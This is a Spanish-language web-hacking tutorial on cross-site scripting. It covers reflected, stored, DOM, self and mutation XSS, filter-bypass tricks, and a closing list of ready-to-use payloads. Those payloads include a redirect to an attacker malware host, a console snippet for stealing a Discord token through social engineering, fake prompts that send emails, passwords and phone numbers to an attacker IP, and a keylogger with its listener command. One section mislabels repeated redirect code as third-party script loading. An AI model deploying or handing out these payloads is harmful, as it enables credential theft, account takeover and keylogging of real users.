XSS - Cross Site Scripting
web hacking
XSS (Cross-Site Scripting) es una vulnerabilidad de seguridad web que permite a un atacante inyectar código malicioso en páginas web que son visitadas por otros usuarios. Este código se ejecuta en el navegador del usuario, permitiendo al atacante realizar acciones maliciosas como robar información, redirigir a sitios maliciosos, desfigurar la página web, entre otros.
XSS basico
el payload de XSS mas utilizado y que habrás visto alguna vez utiliza la función "alert" de javascript, es importante entenderlo primero :
<script>alert("hola")</script>
utiliza las etiquetas "<script>" de HTML para hacer el XSS
al ejecutar este código nos saldrá una ventana vacia, podemos ingresar numeros o texto mediante doble comillas
utilizamos las etiquetas de HTML, porque que el XSS se deriva de un ataque de inyección HTML ya que en las HTML injection no puedes ejecutar scripts, por lo tanto se convertiría en XSS.
hay varios tipos de XSS que podemos explotar (3 específicamente) :
XSS Reflejado (Reflected XSS)
el XSS reflejado consiste en enviar código malicioso al servidor mediante alguna solicitud hacia la URL o un formulario, haciendo que el servidor refleje inmediatamente la respuesta.
vamos a ver un ejemplo: tenemos una web de una tienda y vemos que al hacer una búsqueda, en la URL se muestra el parámetro query :
https://hackstorezp.com/buscar?query=ejemplo_de_busqueda
vamos a alterar el parámetro desde la URL para que, al entrar se muestre una alerta.
https://hackstorezp.com/buscar?query=<script>alert(1)</script>
XSS Persistente (stored XSS)
el XSS persistente consiste en enviar código malicioso al servidor, este código se quedara ahí para siempre, si logras un XSS en un mensaje de texto o un foro por ejemplo, ese código se quedara ahí estáticamente y se ejecutara cada vez que un usuario acceda al contenido. Como ejemplo, imaginemos que encontramos un XSS Persistente en un foro como reddit, y procedemos a publicar el siguiente comentario :
<script>document.location='http://atacante.devil/malware'</script>
cuando un usuario vea el comentario será redirigido a descargar un malware en el servidor del atacante.
DOM-based XSS
Las siglas DOM significan Document Object Model, o lo que es lo mismo, la estructura de un documento HTML. Una página HTML está formada por múltiples etiquetas HTML, anidadas una dentro de otra, formando un árbol de etiquetas relacionadas entre sí, que se denomina árbol DOM (o simplemente DOM).
el DOM-based XSS es donde el código malicioso nunca pasa por el servidor, sino que se ejecuta directamente en el navegador, aprovechando cómo el JavaScript del lado cliente maneja el DOM (Document Object Model).
Vamos a desglosarlo mas con un ejemplo si no lo has entendido :
Supongamos que en una web, esta este código JS y HTML vulnerables
// JavaScript vulnerable
let nombre = location.hash.substring(1); // toma lo que viene en la URL después de "#"
document.getElementById("saludo").innerHTML = "Hola " + nombre;
HTML
<div id="saludo"></div>
cuando visitas el sitio con tu nombre, por ejemplo :
https://ejemplo.com/#Phoenix
la respuesta debería ser "Hola Phoenix", pero podemos explotarlo como no esta sanitizado :
https://ejemplo.com/#<script>alert("XSS")</script>
como JavaScript inserta directamente el contenido del hash al DOM sin escape, el navegador lo interpreta como HTML y ejecutara el código malicioso. Como el ataque se ejecuta sin pasar por el servidor, lo hace invisible hacia los logs.
ahora, veremos otras formas de hacer XSS :
Self-XSS
el usuario se engaña a si mismo (es engañado) para ejecutar código malicioso por su cuenta, generalmente en la consola del navegador
Imaginemos que, estamos en Discord y queremos conseguir el token de alguien desprevenido, utilizamos ingenieria social para que ejecute este código en la consola del navegador y luego nos pase el token :
(webpackChunkdiscord_app.push([[''],{},e=>{m=[];for(let c in e.c)m.push(e.c[c])}]),m).find(m=>m?.exports?.default?.getToken!==void 0).exports.default.getToken()
# fuente : https://gist.github.com/XielQs/90ab13b0c61c6888dae329199ea6aff3 (elimina esta linea)
pero probablemente nuestro ataque no funcionara porque Discord lanza esta alerta al entrar a la consola del navegador :

este tipo de alertas de usa en muchas webs para prevenir el self-XSS, lo que hace mas difícil ejecutar el ataque a menos de que tengas un engaño limpio.
XSS Mutado (MXSS)
es un tipo más avanzado y menos obvio de Cross-Site Scripting, específicamente del basado en DOM que aprovecha la forma en que los navegadores interpretan y “corrigen” HTML malformado. A veces, incluso si el código parece seguro, el navegador "lo reinterpreta" y termina ejecutando código malicioso.
si no lo has entendido bien, te lo desgloso :
el atacante inyecta código incompleto o que parece ser inofensivo
el navegador trata de corregirlo cuando el DOM hace su trabajo
se da lugar a que se forme el script ejecutable, por lo que el navegador ha mutado el HTML para crear un vector de XSS en donde no había
Desglosemos mas con un ejemplo :
<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
este código se ve aparentemente inofensivo, pero el navegador al interpretarlo reorganiza las etiquetas incorrectamente
<svg>
<desc></desc>
<script>alert(1)</script>
</svg>
y se ejecuta nuestro alert.
Bypasses de seguridad contra XSS
Muchas veces, las tecnologías modernas como el WAF o buenas practicas como la sanitización de entradas nos bloquean las posibilidades de encontrar vulnerabilidades como en este caso el XSS, pero si estas medidas de seguridad se aplican de forma errónea podemos burlarlas de diferentes maneras. Veremos algunas técnicas :
Uso de Uppercase
a veces las webs sanitizan palabras clave como
script
que es la etiqueta mas usada para los XSS, pero no piensan en que podemos hacer un Uppercase, por ejemplo :
<sCript>alert("XSS")</sCript>
podemos poner el Uppercase a cualquier letra de las etiquetas.
Encoding y Codificación
hacer url encode o base64 URL encode para hacerlo menos detectable por los sistemas de seguridad ejemplo :
# Normal
<script>alert("XSS")</script>
# URL encode
%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E
# base64
PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=
Otras etiquetas
Utilizamos otras etiquetas que vayan a hacer lo mismo para evitar detecciones de los bloqueos comunes, ejemplos :
<img onload=alert()></img>
<img src=x onerror=alert()></img>
Payloads XSS
veremos varios payloads de XSS explicados para que los entiendas y que puedes utilizarlos de forma cómoda :
XSS Payloads Básicos (alert)
<script>alert()</script>
<script>alert(1)</script>
<script>alert("XSS")</script>
XSS Redirecciones
<script>
window.location.href = "https://example.com";
</script>
XSS Cargar Scripts de Terceros
<script>
window.location.href = "https://example.com";
</script>
XSS Lista bypasses de seguridad
# Uppercase payloads
<sCript>alert()</sCript>
<sCrIpt>alert(1)</sCrIpt>
<SCripT>alert("XSS")</sCrIPt>
# encoding URL encode, doble URL encode y triple URL encode
%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E
%253Cscript%253Ealert%2528%2522XSS%2522%2529%253C%252Fscript%253E
%25253Cscript%25253Ealert%252528%252522XSS%252522%252529%25253C%25252Fscript%25253E
# encoding base64 y doble base64
PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=
UEhOamNtbHdkRDVoYkdWeWRDZ2lXRk5USWlrOEwzTmpjbWx3ZEQ0PQ==
# Etiquetas diferentes
<img onload=alert()></img>
<img src=x onerror=alert()></img>
XSS Recolección de datos mediante pop-ups (emails)
<script>
var email = prompt("Introduce tu email para seguir", " ");
if (email == null || email === "") {
alert("Debes introducir tu correo para seguir");
} else {
fetch("http://ip.de.atacante.aqui/?email=" + encodeURIComponent(email));
}
</script>
XSS Recolección de datos mediante pop-ups (passwords)
<script>
var password = prompt("Introduce tu contraseña para seguir", " ");
if (password == null || password === "") {
alert("Debes introducir tu contraseña para seguir");
} else {
fetch("http://ip.de.atacante.aqui/?password=" + encodeURIComponent(password));
}
</script>
XSS Recolección de varios datos mediante pop-ups
<script>
var email = prompt("Introduce tu email para seguir", " ");
var password = prompt("Introduce tu contraseña para seguir", " ");
var numero = prompt("Introduce tu número telefónico para seguir", " ");
if (email == null || email === "") {
alert("Debes introducir tu correo para seguir");
} else {
fetch("http://ip.de.atacante.aqui/?email=" + encodeURIComponent(email));
fetch("http://ip.de.atacante.aqui/?pass=" + encodeURIComponent(password));
fetch("http://ip.de.atacante.aqui/?phone=" + encodeURIComponent(numero));
}
</script>
XSS Keylogger
<script>
var k = "";
document.onkeypress = function(e){
e = e || window.event;
k += e.key;
var i = new Image();
i.src = "http://ip.de.atacante.aqui/" + k;
};
</script>
Armar el listener del keylogger (bash)
python3 -m http.server 80 2>&1 || grep -oP 'GET /\K[^.*\s]+'
Last updated